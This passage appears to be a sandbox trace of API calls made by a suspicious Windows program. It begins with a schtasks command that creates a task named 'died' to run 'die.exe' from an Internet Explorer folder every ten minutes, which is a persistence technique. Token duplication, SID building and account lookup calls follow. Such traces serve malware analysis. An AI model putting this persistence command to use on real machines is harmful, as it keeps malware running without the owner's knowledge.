lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"died\" /sc MINUTE /mo 10 /tr \"'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"died\" /sc MINUTE /mo 10 /tr \"'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'\" /f", lpProcessInformation=0xebcdc0*(hProcess=0x2f8, hThread=0x2fc, dwProcessId=0xc8, dwThreadId=0x228)) returned 1 [0076.027] CloseHandle (hObject=0x2f8) returned 1 [0076.027] CloseHandle (hObject=0x2fc) returned 1 [0076.028] free (_Block=0xeef20) [0076.028] DestroyEnvironmentBlock () returned 0x1 [0076.028] malloc (_Size=0x48) returned 0xed2c0 [0076.028] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x5649db20, dwHighDateTime=0x1d9eb0c)) [0076.028] SetEvent (hEvent=0x1f0) returned 1 [0076.028] CloseHandle (hObject=0x244) returned 1 [0076.028] CloseHandle (hObject=0x234) returned 1 [0076.377] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da90 [0076.377] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da90, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0076.377] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0076.859] SetLastError (dwErrCode=0x0) [0076.859] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0076.859] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0076.859] SetLastError (dwErrCode=0x0) [0076.859] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0) returned 1 [0076.859] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0076.859] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0076.859] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f4f0 [0076.859] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f4f0, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0076.859] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f4f0 | out: hHeap=0x2e0000) returned 1 [0076.861] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0076.862] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0076.862] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0076.862] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0076.862] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0076.862] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0076.863] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0076.865] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0076.865] GetCurrentThread () returned 0xfffffffffffffffe [0076.865] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x234) returned 1 [0076.865] malloc (_Size=0xd8) returned 0xf3750 [0076.865] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0076.865] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0076.866] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0076.866] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0076.866] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0076.866] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0076.866] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0076.866] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0076.867] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0076.867] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0076.867] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0076.867] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0076.867] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0076.867] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0076.868] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0076.868] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0076.868] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0076.868] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0076.868] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0076.868] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0076.869] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0076.869] malloc (_Size=0x18) returned 0xeef20 [0076.869] DuplicateTokenEx (in: hExistingToken=0x234, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x244) returned 1 [0076.869] malloc (_Size=0x48) returned 0xed270 [0076.869] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x56ca6560, dwHighDateTime=0x1d9eb0c)) [0076.869] SetEvent (hEvent=0x1f0) returned 1 [0076.874] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0076.874] GetLastError () returned 0x7a [0076.874] malloc (_Size=0x2c) returned 0xee200 [0076.874] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0076.874] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0076.874] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0076.874] malloc (_Size=0x1c) returned 0xeff30 [0076.874] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff30, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0076.874] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0076.874] malloc (_Size=0x18) returned 0xeef00 [0076.874] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0076.875] malloc (_Size=0x18) returned 0xeef60 [0076.875] malloc (_Size=0x18) returned 0xef020 [0076.875] SysStringLen (param_1="S-1-") returned 0x4 [0076.875] SysStringLen (param_1="5") returned 0x1 [0076.875] memcpy (in: _Dst=0x381118, _Src=0x381298, _Size=0xa | out: _Dst=0x381118) returned 0x381118 [0076.875] memcpy (in: _Dst=0x381120, _Src=0x381148, _Size=0x4 | out: _Dst=0x381120) returned 0x381120 [0076.875] free (_Block=0xeef00) [0076.875] free (_Block=0xeef60) [0076.875] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0076.875] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0076.875] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0076.875] malloc (_Size=0x18) returned 0xeef60 [0076.875] malloc (_Size=0x18) returned 0xeef00 [0076.875] SysStringLen (param_1="S-1-5") returned 0x5 [0076.875] SysStringLen (param_1="-") returned 0x1 [0076.875] memcpy (in: _Dst=0x381148, _Src=0x381118, _Size=0xc | out: _Dst=0x381148) returned 0x381148 [0076.875] memcpy (in: _Dst=0x381152, _Src=0x381298, _Size=0x4 | out: _Dst=0x381152) returned 0x381152 [0076.875] free (_Block=0xef020) [0076.875] free (_Block=0xeef60) [0076.875] malloc (_Size=0x18) returned 0xeef60 [0076.876] malloc (_Size=0x18) returned 0xef020 [0076.876] SysStringLen (param_1="S-1-5-") returned 0x6 [0076.876] SysStringLen (param_1="21") returned 0x2 [0076.876] memcpy (in: _Dst=0x381298, _Src=0x381148, _Size=0xe | out: _Dst=0x381298) returned 0x381298 [0076.876] memcpy (in: _Dst=0x3812a4, _Src=0x381118, _Size=0x6 | out: _Dst=0x3812a4) returned 0x3812a4 [0076.876] free (_Block=0xeef00) [0076.876] free (_Block=0xeef60) [0076.876] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0076.876] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0076.876] malloc (_Size=0x18) returned 0xeef60 [0076.876] malloc (_Size=0x18) returned 0xeef00 [0076.876] SysStringLen (param_1="S-1-5-21") returned 0x8 [0076.876] SysStringLen (param_1="-") returned 0x1 [0076.876] memcpy (in: _Dst=0x381118, _Src=0x381298, _Size=0x12 | out: _Dst=0x381118) returned 0x381118 [0076.876] memcpy (in: _Dst=0x381128, _Src=0x381148, _Size=0x4 | out: _Dst=0x381128) returned 0x381128 [0076.876] free (_Block=0xef020) [0076.876] free (_Block=0xeef60) [0076.876] malloc (_Size=0x18) returned 0xeef60 [0076.876] malloc (_Size=0x18) returned 0xef020 [0076.876] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0076.877] SysStringLen (param_1="4219442223") returned 0xa [0076.877] memcpy (in: _Dst=0x3382c8, _Src=0x381118, _Size=0x14 | out: _Dst=0x3382c8) returned 0x3382c8 [0076.877] memcpy (in: _Dst=0x3382da, _Src=0x381298, _Size=0x16 | out: _Dst=0x3382da) returned 0x3382da [0076.877] free (_Block=0xeef00) [0076.877] free (_Block=0xeef60) [0076.877] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0076.877] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0076.877] malloc (_Size=0x18) returned 0xeef60 [0076.877] malloc (_Size=0x18) returned 0xeef00 [0076.877] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0076.877] SysStringLen (param_1="-") returned 0x1 [0076.877] memcpy (in: _Dst=0x337698, _Src=0x3382c8, _Size=0x28 | out: _Dst=0x337698) returned 0x337698 [0076.877] memcpy (in: _Dst=0x3376be, _Src=0x381118, _Size=0x4 | out: _Dst=0x3376be) returned 0x3376be [0076.877] free (_Block=0xef020) [0076.877] free (_Block=0xeef60) [0076.877] malloc (_Size=0x18) returned 0xeef60 [0076.877] malloc (_Size=0x18) returned 0xef020 [0076.877] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0076.877] SysStringLen (param_1="4223814209") returned 0xa [0076.877] memcpy (in: _Dst=0x34da68, _Src=0x337698, _Size=0x2a | out: _Dst=0x34da68) returned 0x34da68 [0076.878] memcpy (in: _Dst=0x34da90, _Src=0x381118, _Size=0x16 | out: _Dst=0x34da90) returned 0x34da90 [0076.878] free (_Block=0xeef00) [0076.878] free (_Block=0xeef60) [0076.878] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0076.878] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0076.878] malloc (_Size=0x18) returned 0xeef60 [0076.878] malloc (_Size=0x18) returned 0xeef00 [0076.878] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0076.878] SysStringLen (param_1="-") returned 0x1 [0076.878] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x3e | out: _Dst=0x34dd98) returned 0x34dd98 [0076.878] memcpy (in: _Dst=0x34ddd4, _Src=0x381118, _Size=0x4 | out: _Dst=0x34ddd4) returned 0x34ddd4 [0076.878] free (_Block=0xef020) [0076.878] free (_Block=0xeef60) [0076.878] malloc (_Size=0x18) returned 0xeef60 [0076.878] malloc (_Size=0x18) returned 0xef020 [0076.878] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0076.878] SysStringLen (param_1="3835049652") returned 0xa [0076.878] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x40 | out: _Dst=0x34da68) returned 0x34da68 [0076.878] memcpy (in: _Dst=0x34daa6, _Src=0x381118, _Size=0x16 | out: _Dst=0x34daa6) returned 0x34daa6 [0076.878] free (_Block=0xeef00) [0076.879] free (_Block=0xeef60) [0076.879] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0076.879] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0076.879] malloc (_Size=0x18) returned 0xeef60 [0076.879] malloc (_Size=0x18) returned 0xeef00 [0076.879] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0076.879] SysStringLen (param_1="-") returned 0x1 [0076.879] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x54 | out: _Dst=0x34dd98) returned 0x34dd98 [0076.879] memcpy (in: _Dst=0x34ddea, _Src=0x381118, _Size=0x4 | out: _Dst=0x34ddea) returned 0x34ddea [0076.879] free (_Block=0xef020) [0076.879] free (_Block=0xeef60) [0076.879] malloc (_Size=0x18) returned 0xeef60 [0076.879] malloc (_Size=0x18) returned 0xef020 [0076.879] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0076.879] SysStringLen (param_1="1000") returned 0x4 [0076.879] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x56 | out: _Dst=0x34da68) returned 0x34da68 [0076.879] memcpy (in: _Dst=0x34dabc, _Src=0x381118, _Size=0xa | out: _Dst=0x34dabc) returned 0x34dabc [0076.879] free (_Block=0xeef00) [0076.879] free (_Block=0xeef60) [0076.879] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0076.880] malloc (_Size=0x5e) returned 0xf0800 [0076.880] free (_Block=0xef020) [0076.880] malloc (_Size=0x18) returned 0xef020 [0076.880] free (_Block=0xf0800) [0076.880] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0076.881] GetLastError () returned 0x7a [0076.881] malloc (_Size=0x14) returned 0xeef60 [0076.881] malloc (_Size=0x16) returned 0xeef00 [0076.881] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef60, cchName=0xebcca4, ReferencedDomainName=0xeef00, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0076.882] malloc (_Size=0x18) returned 0xef040 [0076.882] malloc (_Size=0x18) returned 0xef0a0 [0076.882] free (_Block=0xeef60) [0076.882] free (_Block=0xeef00) [0076.882] free (_Block=0xeff30) [0076.882] free (_Block=0xef0a0) [0076.882] free (_Block=0xef040) [0076.882] free (_Block=0xef020) [0076.883] free (_Block=0xee200) [0076.883] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0076.883] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0076.883] GetLastError () returned 0x7a [0076.883] malloc (_Size=0x2c) returned 0xee240 [0076.883] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0076.883] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0076.883] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0076.883] malloc (_Size=0x1c) returned 0xeff30 [0076.883] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff30, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0076.883] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0076.884] malloc (_Size=0x18) returned 0xef020 [0076.884] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0076.884] malloc (_Size=0x18) returned 0xef040 [0076.884] malloc (_Size=0x18) returned 0xef0a0 [0076.884] SysStringLen (param_1="S-1-") returned 0x4 [0076.884] SysStringLen (param_1="5") returned 0x1 [0076.884] memcpy (in: _Dst=0x381298, _Src=0x381148, _Size=0xa | out: _Dst=0x381298) returned 0x381298 [0076.884] memcpy (in: _Dst=0x3812a0, _Src=0x381118, _Size=0x4 | out: _Dst=0x3812a0) returned 0x3812a0 [0076.884] free (_Block=0xef020) [0076.884] free (_Block=0xef040) [0076.884] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0076.884] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0076.884] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0076.884] malloc (_Size=0x18) returned 0xef040 [0076.884] malloc (_Size=0x18) returned 0xef020 [0076.884] SysStringLen (param_1="S-1-5") returned 0x5 [0076.884] SysStringLen (param_1="-") returned 0x1 [0076.885] memcpy (in: _Dst=0x381118, _Src=0x381298, _Size=0xc | out: _Dst=0x381118) returned 0x381118 [0076.885] memcpy (in: _Dst=0x381122, _Src=0x381148, _Size=0x4 | out: _Dst=0x381122) returned 0x381122 [0076.885] free (_Block=0xef0a0) [0076.885] free (_Block=0xef040) [0076.885] malloc (_Size=0x18) returned 0xef040 [0076.885] malloc (_Size=0x18) returned 0xef0a0 [0076.885] SysStringLen (param_1="S-1-5-") returned 0x6 [0076.885] SysStringLen (param_1="21") returned 0x2 [0076.885] memcpy (in: _Dst=0x381148, _Src=0x381118, _Size=0xe | out: _Dst=0x381148) returned 0x381148 [0076.885] memcpy (in: _Dst=0x381154, _Src=0x381298, _Size=0x6 | out: _Dst=0x381154) returned 0x381154 [0076.885] free (_Block=0xef020) [0076.885] free (_Block=0xef040) [0076.885] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0076.885] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0076.885] malloc (_Size=0x18) returned 0xef040 [0076.885] malloc (_Size=0x18) returned 0xef020 [0076.885] SysStringLen (param_1="S-1-5-21") returned 0x8 [0076.885] SysStringLen (param_1="-") returned 0x1 [0076.885] memcpy (in: _Dst=0x381298, _Src=0x381148, _Size=0x12 | out: _Dst=0x381298) returned 0x381298 [0076.885] memcpy (in: _Dst=0x3812a8, _Src=0x381118, _Size=0x4 | out: _Dst=0x3812a8) returned 0x3812a8 [0076.886] free (_Block=0xef0a0) [0076.886] free (_Block=0xef040) [0076.886] malloc (_Size=0x18) returned 0xef040 [0076.886] malloc (_Size=0x18) returned 0xef0a0 [0076.886] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0076.886] SysStringLen (param_1="4219442223") returned 0xa [0076.886] memcpy (in: _Dst=0x3382c8, _Src=0x381298, _Size=0x14 | out: _Dst=0x3382c8) returned 0x3382c8 [0076.886] memcpy (in: _Dst=0x3382da, _Src=0x381148, _Size=0x16 | out: _Dst=0x3382da) returned 0x3382da [0076.886] free (_Block=0xef020) [0076.886] free (_Block=0xef040) [0076.886] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0076.886] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0076.886] malloc (_Size=0x18) returned 0xef040 [0076.886] malloc (_Size=0x18) returned 0xef020 [0076.886] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0076.886] SysStringLen (param_1="-") returned 0x1 [0076.886] memcpy (in: _Dst=0x337698, _Src=0x3382c8, _Size=0x28 | out: _Dst=0x337698) returned 0x337698 [0076.886] memcpy (in: _Dst=0x3376be, _Src=0x381298, _Size=0x4 | out: _Dst=0x3376be) returned 0x3376be [0076.886] free (_Block=0xef0a0) [0076.886] free (_Block=0xef040) [0076.886] malloc (_Size=0x18) returned 0xef040 [0076.887] malloc (_Size=0x18) returned 0xef0a0 [0076.887] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0076.887] SysStringLen (param_1="4223814209") returned 0xa [0076.887] memcpy (in: _Dst=0x34dd98, _Src=0x337698, _Size=0x2a | out: _Dst=0x34dd98) returned 0x34dd98 [0076.887] memcpy (in: _Dst=0x34ddc0, _Src=0x381298, _Size=0x16 | out: _Dst=0x34ddc0) returned 0x34ddc0 [0076.887] free (_Block=0xef020) [0076.887] free (_Block=0xef040) [0076.887] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0076.887] _ultow (in: _Dest=0xe49636b4, 